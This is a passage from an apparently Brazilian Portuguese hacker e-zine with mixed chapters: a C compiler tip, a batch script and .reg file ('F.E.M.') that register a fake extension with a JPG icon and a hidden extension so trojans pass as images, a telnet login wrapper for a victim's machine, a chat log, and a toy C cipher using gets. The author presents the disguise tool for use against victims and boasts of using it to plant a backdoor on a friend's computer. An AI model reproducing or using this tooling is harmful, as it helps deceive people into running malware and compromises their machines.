-------- cut --------

O G++ no gosta do void

Ops, ia esquecendo ^^. Gostaria de recomendar um timo compilador para 
windows chamado Dev-C++, quando voce clica em new -> source file, o
Dev vai criar um arquivo .cpp em branco para voce escrever os codigos, a
extenso 'cpp' quer SUPOSTAMENTE dizer que aquele font foi feito em 
C++, mas voce pode escrever seus codigos em C tranquilamente em arquivos
com essa extenso e compila-los, o problema vem agora, tipo assim, compile
este font aqui (dentro de um arquivo cpp):

---- Untitled1.cpp ----------

#include <stdio.h>

void main (void){
  printf ("Deu Pau!!!");
}
-------- cut --------

No vou conseguir compilar ele porque se o arquivo estiver com extenso 
.cpp no  permitida 'a no especificao do int' de forma alguma, ou seja, 
ele te obriga a colocar o int antes de main retornando essa mensagem:

3 C:\Documents and Settings\David\Desktop\Untitled1.cpp `main' must return `int' 

Ele ta dizendo que o main tem que retornar um inteiro (int), o Dev  uma 
especie de interface bonitinha para o gcc e para o g++, compiladores C e C++ 
respectivamente, na verdade  o g++ que no permite que a funo retorne void, 

Veja os logs:

Compiler: Default compiler
Executing  g++.exe...
g++.exe "C:\Documents and Settings\David\Desktop\Untitled1.cpp" -o "C:\Documents 
and Settings\David\Desktop\Untitled1.exe"   -g3  -I "C:\Dev-Cpp\lib\gcc\mingw32\3.4.2
\include"  -I"C:\Dev-Cpp\include\c++\3.4.2\backward" -I"C:\Dev-Cpp\include\c++\3.4.2\
mingw32"  -I"C:\Dev-Cpp\include\c++\3.4.2"  -I"C:\Dev-Cpp\include" -L"C:\Dev-Cpp\lib"
-l wsock32 -g3 C:\Documents and Settings\David\Desktop\Untitled1.cpp:3: error: `main' 
must return `int' Execution terminated

Ja que o Dev identifica qual compilador usar, se baseando pela extenso dos arquivos, e 
j que sabemos que o tal do g++ no permite que a funo principal retorne void, basta
usarmos outro compilador =] Como? Sempre escreva seus CODEs em arquivos com a 
extenso '.c', assim o Dev vai utilizar o gcc para compila-lo, com o gcc  apenas exibida
uma mensagenzinha que eu ja falei anteriormente e pronto, mas o importante  que ele 
compila =) Isso ja atrasou a vida de muitos amigos meus, por isso estou falando, para 
que isso no acontea com voce, fazendo voce desistir de estudar 'C' s porque no 
conseguiu compilar um code. Faa um teste:

---- Untitled1.c ----------
#include <stdio.h>

void main (void){
  printf ("Agora foi!!! =]");  // <-- Repara na string de controle =)
}

------- cut -------

Logs: 

Compiler: Default compiler
Executing  gcc.exe...
gcc.exe "C:\Documents and Settings\David\Desktop\Untitled1.c" -o "C:\Documents
and Settings\David\Desktop\Untitled1.exe" -g3  -I"C:\Dev-Cpp\include"  -L"C:\Dev-Cpp\lib"
-l wsock32 -g3 C:\Documents and Settings\David\Desktop\Untitled1.c: In function `main':
C:\Documents and Settings\David\Desktop\Untitled1.c:3: warning: return type of 'main' is 
not `int' 
Execution terminated 
Compilation successful  < -- Sucesso!!!


Vale te lembrar amigo bgner que 90% do's' "error" de um iniciante DEDICADO  na escrita 
do code e no pela fauta de conhecimento por parte dele. Vou explicar melhor, tipo, um 
bgner sabe que para declarar uma string  necessario usar aspas, mesmo sabendo ele no 
viu que esqueceu, ou seja, Erro! Outro erro bastante comum  a declarao de valores 
que no so suportados por determinados tipos, assim ocazionando erros. Espero que 
tenham gostado de mais uma parte do curso e gostaria de estar dedicando a terceira parte
do curso de C ao meu amor, Patricia. 

                                          Aguardem a 4 Parte na C.O.D.E x03 
                                                                         by 6_Bl4ck9_f0x6
                                                                         Viper Corp Group                  


----- C4p1Tul0 10
           

[+] X==XX===========XXX===========XXX===X +] 
       File Extension Manipulation
[+] X===========XXX=============XXX======X+] 

Ol!! Esse code ai  pro pessoal que gosta de uma operao sabotagem, tipo assim,
isso ai  bom pra pegar aquele povo que gosta de reparar em extenso ^^. Pessoal,
voces podem fazer ele em .reg e mandar pra vitima ^^. Voces sabem aqueles joguinhos
que para se crackear precisamos utilizar pequenos .reg? Um exemplo  o Age of Empires 
1 e tantos outros por ai, esses .reg so usados para aumentar a velocidade do jogo e
tals, dai fica mais facil, basta mandar o jogo pra vitima e mandar ela crackear isso 
da menos na telha, vamos pensar com malicia agora. Voces muito provavelmente devem 
conhecer manipulao binaria em rtf e tals, mas o mais interesante disso  que quando 
a vitima executa qualquer arquivo 'conhecido como perigo' pelo windows, ele avisa e 
tals, mas se a vitima tiver executado o .reg ou voce mesmo utilizou esse script que
escrevi em batch ANTES no sistema dela, voce pode mandar arquivos binarios e tudo 
mais que no vai aparecer mensagem nenhuma avisando que aquele arquivo  do mal e 
tals eheh. Para cada tipo de extenso CONHECIDA  exibida uma mensagem diferente,
ou seja, ja que seu trojan OU VIRUS vai estar com uma extenso totalmente escabroZa
nem se preocupe cara, pois como eu ja falei:

Nada de mensagem!!! 

Reparei isso porque as mensagem mudavam quando se executava diferentes extenses 
no rtf, dai o que eu pensei? Putz, as mensagens aparecem por causa da extenso 
OBVIO!!! Quando fui testar uma extensao no rtf com aplicativo "logo depois 
de ter usado o F.E.M", adivinha o que aconteceu, nada de msg, ou seja, Bingo!!!
Dai resolvi brincar um pouco com isso, mandei o Age para um amiga e foi muito legal, 
disse:

David diz:
Nanda, tai um joguinho legal. 
Link: Http://....
Fernanda diz:
Opa, eu tenho o 2, mas naum o 1. 
David diz:
Crackeia ele ai, speed e tudo mais 
Fernanda diz:
Quanto terminar de baixar eu fao.

Algum tempo depois....

David diz:
Nanda, olha o que eu escrevi proce

Era um arquivo escrito algo mais ou menos assim rsrs:

[]==============================================[]
   O Nanda, minha amada amiga, estava eu aqui sem
   fazer nada e resolvi escrever um texto proce, ta
   ai em baixo:

   notepad.txt      < -- Olha a malandragem aqui +
                                                 |
   (com icone e tudo mais ^^)           < ----   +
[]==============================================[]

Na verdade o que eu mandei era um arquivo com extensao .fox rsrs
Ela executou o file e catapimba!!! No deu outra, minha backdoor
rodando e meu clinte conectando rsrsr. Antes tinha bindeado a backdoor
com um arquivo de texto escrito um monte de besteira, tipo, piadas!!!
rsrs. As utilidades deste script podem ser interminaveis, obvio que voce 
tem que pensar como um fuador, pensar com malicia amigo, no estou 
falando para voces ser malicioso com todos e com tudo, pois a inteno 
aqui no  tirar sua inocencia, mas garanto que um pouco de malicia 
"NO NOSSO RAMO" nos traz bons frutos e tambm nos evita uma 
bela de uma dor de cabea, pois existem engenheiros sociai's d+ no 
mundo, pensando com malicia sua imaginao vai pipocar em seu 
cerebro, sempre... 

                     ------ F. E. M - v2.0.bat ------

@echo off & color c
REM Para inserir icones predefinidos no seu trojan basta inserir e modificar essa linha:
REM reg add HKEY_CLASSES_ROOT\Master\DefaultIcon /ve /t REG_SZ /d "shell32.dll,67" /f 
ReM shimgvw.dll,3 = Imagem em JPG
ReM 
title Esquadrao da tortura - Viper Corp
:Pergunta
ECHO      ################################
ECHO                F. E. M. v2.0 &echo.
ECHO                    BY 
ECHO               6_Bl4ck9_f0x6 & echo.
ECHO       -X-x-X Corporacao Vibora X-x-X- 
ECHO      ################################ & echo.
ECHO       ============================
ECHO              + Viper Corp +
ECHO               For you Bru?? 
ECHO       ============================ & echo.
set reader=y & set reader2=n
set /p escolha=Quer continuar? y/n 
if /I %escolha% EQU %reader% ( 
GOTO :Starting) 
if /I %escolha% EQU %reader2% (
GOTO :Adeus) 
IF %ERRORLEVEL% NEQ %reader% GOTO :Sinck
IF %ERRORLEVEL% NEQ %reader2% GOTO :Sinck

:Starting
echo. & pause & cls
echo 6_Bl4ck9_f0x6 diz: &echo. & echo Preencha os dados abaixo & echo.
set /p extensao=Digite a extensao que seu trojan ou virus tera - [Exemplo, fox]:
ASSOC .%extensao%=Master
echo Ext: .%extensao% >> Extensoes.log
echo Extensao .%extensao% OK!
echo. & pause & cls 
echo Associando descricao de imagem JPG a sua extensao... 
reg add HKEY_CLASSES_ROOT\Master /ve /t REG_SZ /d "Imagem no formato JPG" /f
echo.
echo Associando valor sequencial para extensao fantasma a sua extensao...
reg add HKEY_CLASSES_ROOT\Master /v NeverShowExt /t REG_SZ /f
echo.
echo Associando icone de imagem JPG a sua extensao...
reg add HKEY_CLASSES_ROOT\Master\DefaultIcon /ve /t REG_SZ /d "shimgvw.dll,3" /f
echo.
echo Transformando sua extensao em aplicativo...
reg add HKEY_CLASSES_ROOT\Master\shell\open\command /ve /t REG_SZ /d "\"%%1\" %%*" /f
echo. & pause 
:Adeus
cls &echo.
echo 6_Bl4ck9_f0x6 diz: &echo. & echo Obrigado por estar usando o F.E.M amigo =) & echo. 
pause & exit
:Sinck
msg * Desculpe %username% a opcao '%escolha%' e invalida & pause 
cls & goto :Pergunta

                                 ------ Corte aqui ------

Desenvolvi um esquema de backup de extenses que voce cria, tipo assim, 
o F.E.M cria a extensao, adiciona icone de JPG a ela, adiciona descrio de
JPG a sua extensao, oculta a real extensao de seus virus e trojans e ainda cria
um arquivozinho onde fica logado todas as extenses que voce criou =) Meu 
script  bastante eficiente amigos ;] Vamos agora a um exemplo de utilizao.

Seu trojan se chama - > trojan.exe 

Mude a extenso 'exe' para a extenso que voce criou, nomeando o arquivo
assim:

trojan.JPG.fox

Nesse caso a extenso 'fox' vai desaparecer e o nome do arquivo vai estar 
parecendo a extenso (trojan.JPG =). Lembrando que mesmo voce configurando
o windows para visualizar extenses dos arquivos, a sua extenso no vai ser
exibida de forma alguma.

Ta ae o .reg 

                ------ F. E. M - v1.0.reg ------

Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\.Sinck]
@="Master"
[HKEY_CLASSES_ROOT\Master]
@="Imagem no formato JPG"
"NeverShowExt"=""
[HKEY_CLASSES_ROOT\Master\DefaultIcon]
@="shimgvw.dll,3"
[HKEY_CLASSES_ROOT\Master\shell]
[HKEY_CLASSES_ROOT\Master\shell\open]
[HKEY_CLASSES_ROOT\Master\shell\open\command]
@="\"%1\" %*"

                   ------ Cut here ------


 Boa sorte amigo ;-) 


----- C4p1Tul0 11
           

[=] + =======xx==============xx=========== + [=]
           +++ . Telnet Secure . +++ 
                      by 
                 6_Bl4ck9_f0x6     
[=] + =======xx=============xx============ + [=]

Hi! Vamos supor que por algum motivo voces precisam abrir a porta 
telnet do seu desgraado windows, tabom tabom,  uma possibilidade 
muito remota, mas.... Ainda sim existe (nem Deus disse: dessa agua no
bebereis... ou algo assim). Vamos mais alem, tipo assim, voces fizeram 
uma operao sabotagem no sistema do maluco e tudo mais, mataram 
o firewall do XP (net stop sharedaccess) e a porta ta l abertinha s 
esperando algum entrar (hum...), mas voce no quer que ninguem mais 
entre, o que voce faz? Voce muda a porta padro para tentar 
DIFICULTAR a identificao do servio, mas o cara usa um scan
e pega o service em ou porta, o que que voce faz? Desabilita o telnet? 
No, voce usa meu script baby =) 

notepad \WINDOWS\system32\login.cmd  -- > Abre ele

                        ---- login.cmd ----

@echo off
rem
rem  Script de login global padrao para Telnet Server 
rem
rem  Na instalaao padrao, este script de comandos  executado
rem  quando o shell de comandos inicial  chamado. Ele tenta
rem  entao chamar o script de logon do usurio individual.
rem
rem set password=luzinha &ReM <-- Defina a senha aqui gente boa
rem
title Login Duplo v1.0 by 6_Bl4ck9_f0x6 & color a
set password=luzinha
:Star
cls
ECHO         [FOX]=----------x----------x----------=[FOX] & ECHO.
ECHO                  --X---- Login Duplo v1.0 ---x--
ECHO                               +BY+
ECHO                           6_Bl4ck9_f0x6 & ECHO.
ECHO                     +X+   I love luz*    +X+
ECHO         [FOX]=----------x----------x----------=[FOX]
ECHO. 
set /p senha=Digite sua senha:
if /I "%senha%" EQU "%password%" (goto start) else (goto Err)
:Err
msg * '%username%' a senha '%senha%' esta incorreta! Tente novamente & cls & goto Star
:Start
cls
ECHO ==========X==========X==========X==========
ECHO                 x  PRONTO x
ECHO ==========X==========X==========X==========
pause & cls 
echo *===============================================================
echo Bem-vindo a Black Machine e tenha cuidado com o que faz
echo *===============================================================
 
                           ---- cut here ----

Se quizerem, podero inserir um esquema do login case e tudo mais eheh,
basta tirar o /I da frente do comando mais manjado do mundo para controle
de fluxo --> IF.

O bom disso  que no momento que os caras to tentando descobrir a senha, 
voce ta vendo as senhas que eles to usando, 'em tempo real', isso ai  bom
pra voce saber se o cara sabe o nome de sua namorada ou esposa rsrs ;-) 

Simples =). 

Adios main freuds ;]

by  6_Bl4ck9_f0x6



----- C4p1Tul0 12


XxXxX============================XxXxX
     O Banimento nunca existiu XP
XxXxX============================XxXxX

Na edio anterior voces viram que eu estava revoltado pelo banimento de meu amigo 
Cloudy, mas o que eu no sabia  que ele no tinha sido banido do forum rsrs. Olhem 
ae a conversa.

Starting....


  [b][c=6]#[/c]     $1'Andr ; Carioca...      ~ $6s2$1*[/b]$0 est na conversa.
  
David diz:
diz pro cloudy que tu num baniu ele 
David diz:
diz reeves
David diz:
ele ta achando agora 
David diz:
eu tambem achava
[b][c=6]#[/c]     $1'Andr ; Carioca...      ~ $6s2$1*[/b]$0 diz:
O phabia me baniu
[b][c=6]#[/c]     $1'Andr ; Carioca...      ~ $6s2$1*[/b]$0 diz:
phobia*
David diz:
?
David diz:
serio?
David diz:
e verdade reeves?
  
Voc acabou de pedir a ateno.
  
Reeves        diz:
nao
David diz:
o cloudy ta ficando doido
David diz:
lol 
David diz:
da a senha do cara agora
David diz:
sacanagem isso ae 
David diz:
http://www.hunterhacker.xpg.com.br/F.E.M.rar 
David diz:
lol 
David diz:
cloudy 
David diz:
trata de baixar meu video ae
David diz:
rsrsrs
[b][c=6]#[/c]     $1'Andr ; Carioca...      ~ $6s2$1*[/b]$0 diz:
Alis
[b][c=6]#[/c]     $1'Andr ; Carioca...      ~ $6s2$1*[/b]$0 diz:
Eu tenho que falar com o DG
[b][c=6]#[/c]     $1'Andr ; Carioca...      ~ $6s2$1*[/b]$0 diz:
Ele disse que quer excluir meus "fakes" (HadeS, Fear e Amilly)
David diz:
filho da puta 
[b][c=6]#[/c]     $1'Andr ; Carioca...      ~ $6s2$1*[/b]$0 diz:
E disse que no tem como passar os posts pro Cloudy 
Reeves        diz:
fdp nada, fakes nao pode
David diz:
ele num tem o direito de fazer isso com meu amiguinho pokemon 
David diz:
rsrsrsrs
Reeves        diz:
bloqueamos o cloudy pq vc empresto a conta pro david
[b][c=6]#[/c]     $1'Andr ; Carioca...      ~ $6s2$1*[/b]$0 diz:
Eu sei
David diz:
aff
David diz:
ei galera
Reeves        diz:
ento
David diz:
vamos falar da......
David diz:
LUZINHA?
David diz:
hauhaua
David diz:
estou apaixonado 
David diz:
rsrsrs
David diz:
da o canto devolta pra ele reeves
Reeves        diz:
envez de excluir seus fakes, s bloquear eles e deixar o cloudy livre resolve
David diz:
yes
David diz:
pelo menos isso 
[b][c=6]#[/c]     $1'Andr ; Carioca...      ~ $6s2$1*[/b]$0 diz:
Por mim pode excluir
[b][c=6]#[/c]     $1'Andr ; Carioca...      ~ $6s2$1*[/b]$0 diz:
Mas passa os posts pro user Cloudy
David diz:
eu quero meu login outra vez no darkers ehhe, quero meu perfil 
David diz:
rsrsrs
Reeves        diz:
eu vou ver
David diz:
to com saudade do rog
David diz:
rsrsrsrrs
David diz:
amo aquele gato loco 
David diz:
hauahuaha
Reeves        diz:
saudade do rog pq se ele ta no invaders tbm ?
David diz:
la ele num reaje
David diz:
rsrsrs
David diz:
xingo ele e nada
David diz:
desistir
David diz:
rsrsrs
David diz:
Ei cloudy 
David diz:
baixou o video porra!!!
David diz:
rsrsrs
  
Voc acabou de pedir a ateno.
  
[b][c=6]#[/c]     $1'Andr ; Carioca...      ~ $6s2$1*[/b]$0 diz:
Pera ai
Reeves        diz:
cloudy fica velho dia 7 de fevereiro
Reeves        diz:
q meigo
David diz:
rsrsrs
Reeves        diz:
:]
David diz:
vou postar isso na zine
David diz:
ei ei ei 
[b][c=6]#[/c]     $1'Andr ; Carioca...      ~ $6s2$1*[/b]$0 diz:
 cara...
David diz:
vou publicar nossa conversa
David diz:
hauhauhha
[b][c=6]#[/c]     $1'Andr ; Carioca...      ~ $6s2$1*[/b]$0 diz:
16 anos nas costas
Reeves        diz:
quantos anos kra?
David diz:
vai ser legal
David diz:
hauhauha
Reeves        diz:
s..
David diz:
so 
David diz:
num sabia naum reeves?
[b][c=6]#[/c]     $1'Andr ; Carioca...      ~ $6s2$1*[/b]$0 diz:
Graas a deus
David diz:
seu melhor usuario
David diz:
hauhauhauha
Reeves        diz:
affzzz
Reeves        diz:
cada boca
David diz:
EI cloudy 
David diz:
1 MB porra!!
David diz:
huahuahuha
Reeves        diz:
eu sei a idade dele..
Reeves        diz:
ele disse nas costas
Reeves        diz:
eu disse s
David diz:
Ei reeves
David diz:
num ferra
Reeves        diz:
pq tenho mto mais nas costas
Reeves        diz:
uhauhauahauhahuaaa
David diz:
Num foi voce que deu uma trepadinha
David diz:
Huahuahuaha
David diz:
a mina ta me chamando 
David diz:
hauhauhah
Reeves        diz:
uhauhauhauhUHAa
Reeves        diz:
vai la 
David diz:
galera
David diz:
vou publicar nossa conversa 
David diz:
rsrsr
David diz:
pra mostrar que eu estava enganado com ralao ao banimento do cloudy 
Reeves        diz:
nem...
David diz:
fui...
David diz:
tenho uma pepitinha pra traar
Reeves        diz:
nem publique
David diz:
Ei cloudy 
David diz:
cloudy 
  
Voc acabou de pedir a ateno.
  
David diz:
Cloudy!!!!!!!!!!!!
[b][c=6]#[/c]     $1'Andr ; Carioca...      ~ $6s2$1*[/b]$0 diz:
Diga
David diz:
vou indo e meus parabens ae, que deus lhe de muitas invasoes 
David diz:
hauhauhauh
David diz:
Deus
David diz:
hauhauha
David diz:
sacou?
[b][c=6]#[/c]     $1'Andr ; Carioca...      ~ $6s2$1*[/b]$0 diz:
Hauhauhauhuahuahauhauha
David diz:
hauhauhauha
David diz:
Ei galera
David diz:
voces sabia que agora meu idolo e o BSDaemon? 
David diz:
hauhuah
David diz:
decidi que vou ser melhor que ele Huahuahauh daqui a 10 anos eu consigo 
David diz:
hauhauha
David diz:
xau pessoal 
[b][c=6]#[/c]     $1'Andr ; Carioca...      ~ $6s2$1*[/b]$0 diz:
Xauzin
Reeves        diz:
adios..
  
Isso  o que eu chamo de uma BELA CAGADA!!! No faam como eu fiz, 
no tirem concluses precipitadas antes de analisar os fatos, caso contrario voce
pode acabar como eu XP rsrs.

----- C4p1Tul0 13


xXx=============================xXx
      Emperial Encripter
xXx=============================xXx


Eu sei o que vc's devem estar pensando. Tipo -> Esse maluco eh o maior sem 
imaginao, maluco vive botando nome de emperial num sei oq, enperial num 
sei das quantas, e tals. Mas eu no ligo para vc's :P. Enfim, os CODE's sao 
meus e por isso faz isso:

                                  -> Vaum ToMaR no cuh <- 
                                         eheheh!!!

Esse algoritimo de criptografia eh baseado no mesmo algoritimo de Julio Cezar
do emperio Romano, tipo, para enviar mensagens para a galera ele
usava o mtodo de subistituio, ou seja, um cripto-analista teria serios 
problemas caso ele ainda no tivesse conseguido textos decriptados =) O que?
Nao sabe do que eu estou falando? Tipo, eu quiz dizer que  criptografia da boa!

===================================== 
Descriptografem essa mensagem: 

y[~ k) +E )A ;=~[ "79[ :=;;[U 5#
===================================== 

Agora vamos aos algoritimos como dizem os universitarios cheios de espirito 
hacku :P Ei ei ei, nao revisei o code naum galera, achu que quando eu usava
alguns smiles dava pal, dae fiquei de sacu cheio de codar o cript e num testei 
mais naum, mas as letras ta deboa =) 

Pelo visto achu que vou ter que deixar algumas letras originais mesmo, por 
questes de compatibilidade e tals, mas no se preocupem, basta deixar as 
mensagens decriptadas longe das encriptadas por causa dos potentes  -> S's 

                       -> Cripto-Analista <-  ;)

OBS: S's vem de Sangue sugas da porra!! :P 

No code do encript tem um bug de heap overflow...XP Usei o gets e tals, pois
quem diabos vai perder tempo exploitando um bug num file desses? Afz hauhauh!! 
Mas tem doido pra tudo n.... :P


                 ------ Emp_Encript.c ------


/*        [XxX -> x]+===x==X==x===x+[x <- XxX]  
*                  *** Viper Corp ***
*                -> Obrigado a todos <-  
*        [x <-> XxX]+===x==X==x===x+[XxX <-> x]           
*   
*         Emperial Encripter [Emp_Encript.c] v0.1
*                          by
*                     6_Bl4ck9_f0x6                      
* 
*       
*      Ateno:  Esta  a ferramenta 'encriptadora', para 
*     'decriptar' voce precisa do -> Emp_Dcript.c <-- que 
*      pode ser obtido em:
*      
*      http://www.hunterhacker.xpg.com.br/Emp_Dcript.c.diz
*                            ou em
*      http://www.explinter.orgfree.com/Emp_Dcript.c.diz     
*/

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

int banner (){
     SetConsoleTitle ("Emperial Encripter by 6_Bl4ck9_f0x6");
     char *banner[]={
            
       "[=] + ==========[####]============ + [=]\n",
       "       *** Emperial Encripter ***\n",
       "      XxX   VIPER CORP GROUP  XxX\n",
       "        <-> Underground Max <->",
       "[=] + ==========[####]============ + [=]\n"};
       printf ("%s%s%s%s\n\n", banner[0], banner[1],
                               banner[2], banner[4]);}

int main (void){
     
      system ("cls");
      banner ();
      
      FILE *output;
      output = fopen ("String's_encript.diz", "w");
      
      if (!output){
      perror ("Erro:");
      fprintf (stderr, "\nNao consegui criar o arquivo\
 com a(s) string(s) encriptada(s)\n");
      exit (-1);}
      
      int i=0;  
      char string_s[1000];
      fprintf (stdout, "\nEntre com sua string\
 [Max 9999 caracteres]:\n\n");
      gets (string_s); 
             
                   
       for (i;string_s[i] != '\0';i++){
           
       if (string_s[i] == 'A'){
               string_s[i]='*';}
       else if (string_s[i] == 'a'){
                string_s[i]='[';}
       else if (string_s[i] == 'B'){
                string_s[i]='$';}
       else if (string_s[i] == 'b'){
                string_s[i]='!';}
       else if (string_s[i] == 'C'){
                string_s[i]='8';}
       else if (string_s[i] == 'c'){
                string_s[i]='+';} 
       else if (string_s[i] == 'D'){
                string_s[i]='@';} 
       else if (string_s[i] == 'd'){
                string_s[i]='k';}
       else if (string_s[i] == 'E'){
                string_s[i]='%';}
       else if (string_s[i] == 'e'){
                string_s[i]=')';}
       else if (string_s[i] == 'F'){
                string_s[i]='6';}
       else if (string_s[i] == 'f'){
                string_s[i]='"';}
       else if (string_s[i] == 'G'){
                string_s[i]='4';}
       else if (string_s[i] == 'g'){
                string_s[i]='1';} 
       else if (string_s[i] == 'H'){
                string_s[i]='?';}  
       else if (string_s[i] == 'h'){
                string_s[i]='A';}
       else if (string_s[i] == 'I'){
                string_s[i]='T';}
       else if (string_s[i] == 'i'){
                string_s[i]='7';}   
       else if (string_s[i] == 'J'){
                string_s[i]='P';}      
       else if (string_s[i] == 'j'){
                string_s[i]='&';}     
       else if (string_s[i] == 'L'){
                string_s[i]='Z';}
       else if (string_s[i] == 'l'){
                string_s[i]='~';}
       else if (string_s[i] == 'M'){
                string_s[i]='y';}
       else if (string_s[i] == 'm'){
                string_s[i]='{';}
       else if (string_s[i] == 'N'){
                string_s[i]='q';}
       else if (string_s[i] == 'n'){
                string_s[i]='9';}
       else if (string_s[i] == 'O'){
                string_s[i]='^';}
       else if (string_s[i] == 'o'){
                string_s[i]='=';}       
       else if (string_s[i] == 'P'){
                string_s[i]='#';}
       else if (string_s[i] == 'p'){
                string_s[i]=':';}         
       else if (string_s[i] == 'Q'){
                string_s[i]='-';}
       else if (string_s[i] == 'q'){
                string_s[i]=']';}
       else if (string_s[i] == 'R'){
                string_s[i]='F';}
       else if (string_s[i] == 'r'){
                string_s[i]=';';}
       else if (string_s[i] == 'S'){
                string_s[i]='2';}  
       else if (string_s[i] == 's'){
                string_s[i]='h';}  
       else if (string_s[i] == 'T'){
                string_s[i]='.';}  
       else if (string_s[i] == 't'){
                string_s[i]=',';}  
       else if (string_s[i] == 'U'){
                string_s[i]='3';}  
       else if (string_s[i] == 'u'){
                string_s[i]='E';}  
       else if (string_s[i] == 'V'){
                string_s[i]='<';}  
       else if (string_s[i] == 'v'){
                string_s[i]='|';}
       else if (string_s[i] == 'W'){
                string_s[i]='Y';}
       else if (string_s[i] == 'w'){
                string_s[i]='X';}
       else if (string_s[i] == 'X'){
                string_s[i]='G';}
       else if (string_s[i] == 'x'){
                string_s[i]='5';}
       else if (string_s[i] == 'Y'){
                string_s[i]='/';}
       else if (string_s[i] == 'y'){
              string_s[i]='}';}
       else if (string_s[i] == 'Z'){
                string_s[i]='n';}
       else if (string_s[i] == 'z'){
                string_s[i]='I';}             
       else if (string_s[i] == '!'){
                string_s[i]='U';}
       else if (string_s[i] == ','){
                string_s[i]='D';}
       else if (string_s[i] == '.'){
                string_s[i]='L';}
                }
      
      fprintf (output, "%s", string_s);
      fclose (output); 
      system ("cls");
      banner();
      fprintf (stderr, "6_Bl4ck9_f0x6 diz:\n\n");
      puts ("String(s) encriptada(s) com sucesso!\n");    
      system ("pause"); 
      return (0);}

                    --- cute nessa porra Here! --- 


Ai vai o Dcripter minha gente, ei ei ei, vale lembrar ai pra voces
que essas so minhas subistituies... voces podem... ou melhor,
devem fazer! suas proprias, no usem o default, pois pode existir
outros leitores da zine que podem ser seus conhecidos no orkut 
e tals, dai eles podem decriptar suas msg's, por isso -> Faa seu
proprio algoritimo baseado no meu e no do Julio Cezar do 
Emperio Romano =)
      
                           --- Emp_Dcript.c ---

/*        [XxX -> x]+===x==X==x===x+[x <- XxX]  
*                  *** Viper Corp ***
*                -> Obrigado a todos <-  
*        [x <-> XxX]+===x==X==x===x+[XxX <-> x]           
*   
*         Emperial Encripter [Emp_Dcript.c] v0.1
*                          by
*                     6_Bl4ck9_f0x6                      
* 
*       
*      Ateno:  Esta  a ferramenta 'decriptadora', para 
*     'encriptar' voce precisa do -> Emp_Encript.c <- que 
*      pode ser obtido em:
*      
*      http://www.hunterhacker.xpg.com.br/Emp_Encript.c.diz
*                            ou em
*      http://www.explinter.orgfree.com/Emp_Encript.c.diz      
*/

#include <stdio.h>
#include <stdlib.h>

int banner (){
     char *banner[]={
            
       "[=] + ==========[####]============ + [=]\n",
       "       *** Emperial Encripter ***\n",
       "      XxX   VIPER CORP GROUP  XxX\n",
       "        <-> Underground Max <->",
       "[=] + ==========[####]============ + [=]\n"};
       printf ("%s%s%s%s\n\n", banner[0], banner[1],
                               banner[2], banner[4]);}

int main (int argc, char *argv[]){
           
           system ("cls");
           banner ();
           if ( (argc < 3) || (argc > 3) ){
           fprintf (stderr, "Uso: %s <file_input> <file_output>\n", argv[0]);
           exit (0);}
             
           char reader;
           
           FILE *input;
           FILE *output;   
           
           if ((input = fopen (argv[1], "r")) == NULL){
                   perror ("Erro");
                   fprintf (stderr, "\nNao consegui abrir o \
arquivo -> %s <- para leitura\n", argv[1]);
                     exit (-1);}
                     
           else if ((output = fopen (argv[2], "w")) == NULL){
                    fprintf (stderr, "\nNao consegui escrever \
a saida decriptada no arquivo -> %s <-\n", argv[2]);
                     exit (-1);} 
         
          while ((reader = getc (input) ) != EOF){
            
              if (reader == '*'){ 
                  reader='A';}
              else if (reader == '['){
                  reader='a';}
              else if (reader == '$'){
                  reader='B';}
              else if (reader == '!'){
                  reader='b';}
              else if (reader == '8'){
                  reader='C';}
              else if (reader == '+'){
                  reader='c';}
              else if (reader == '@'){
                  reader='D';}           
              else if (reader == 'k'){
                  reader='d';}  
              else if (reader == '%'){
                  reader='E';}          
              else if (reader == ')'){
                  reader='e';}  
              else if (reader == '6'){
                  reader='F';}  
              else if (reader == '"'){
                  reader='f';}  
              else if (reader == '4'){
                  reader='G';}  
              else if (reader == '1'){
                  reader='g';}  
              else if (reader == '?'){
                  reader='H';} 
              else if (reader == 'A'){
                  reader='h';} 
              else if (reader == 'T'){
                  reader='I';}  
              else if (reader == '7'){
                  reader='i';}
              else if (reader == 'P'){
                  reader='J';} 
              else if (reader == '&'){
                  reader='j';} 
              else if (reader == 'Z'){
                  reader='L';} 
              else if (reader == '~'){
                  reader='l';} 
              else if (reader == 'y'){
                  reader='M';}
              else if (reader == '{'){
                  reader='m';}
              else if (reader == 'q'){
                  reader='N';} 
              else if (reader == '9'){
                  reader='n';} 
              else if (reader == '^'){
                  reader='O';} 
              else if (reader == '='){
                  reader='o';} 
              else if (reader == '#'){
                  reader='P';} 
              else if (reader == ':'){
                  reader='p';}
              else if (reader == '-'){
                  reader='Q';}   
              else if (reader == ']'){
                  reader='q';}   
              else if (reader == 'F'){
                  reader='R';}   
              else if (reader == ';'){
                  reader='r';}   
              else if (reader == '2'){
                  reader='S';}   
              else if (reader == 'h'){
                  reader='s';}
              else if (reader == '.'){
                  reader='T';}   
              else if (reader == ','){
                  reader='t';}   
              else if (reader == '3'){
                  reader='U';}
              else if (reader == 'E'){
                  reader='u';}   
              else if (reader == '<'){
                  reader='V';}   
              else if (reader == '|'){
                  reader='v';}
              else if (reader == 'Y'){
                  reader='W';}   
              else if (reader == 'X'){
                  reader='w';}   
              else if (reader == 'G'){
                  reader='X';}
              else if (reader == '5'){
                  reader='x';}   
              else if (reader == '/'){    
                    reader='Y';}   
              else if (reader == '}'){
                  reader='y';}
              else if (reader == 'n'){
                  reader='Z';}      
              else if (reader == 'I'){
                  reader='z';}               
              else if (reader == 'U'){
                  reader='!';}   
              else if (reader == '('){
                  reader=',';}
              else if (reader == 'L'){
                  reader='.';} 
              else if (reader == 'D'){
                  reader=',';}
                                                    
              putc (reader, output);}

fprintf (stderr, "6_Bl4ck9_f0x6 diz:\n\n");              
puts ("String(s) decriptada(s) com sucesso!\n");              
                   
fclose (input);
fclose (output);            
return (0);}
 
                       -- end -- 


----- C4p1Tul0 14


xXx=============================xXx
      The King of calculators 
xXx=============================xXx

Hi! Estou trazendo mais uma calculadora maneira proces rsrs, 
j foi calc em batch e js, hoje vai rolar uma em C, aeee!!! Espero 
que gostem, pois passei uns 10 minutos fazendo essa porcaria, ei ei ei,
a famosa funo system ta na area e meu velho ingles de butiquim tambm 
XP, puta merda, dei uma americanizada totalmente vagabunda no code da
calc, s pra deixar a parada mais maneira ^^. Todo mundo diz que o 
que  escrito em ingles tem mais valor porra hauhauah!!! Ento vamos
